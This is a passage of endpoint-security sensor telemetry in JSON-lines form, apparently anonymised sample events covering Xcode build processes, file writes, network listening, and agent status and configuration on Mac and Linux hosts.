eecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"}
+{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"}
+{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"}
+{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"}
+{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"}
+{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"}
+{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"}
+{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"}
+{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"}
+{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"}
+{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"}
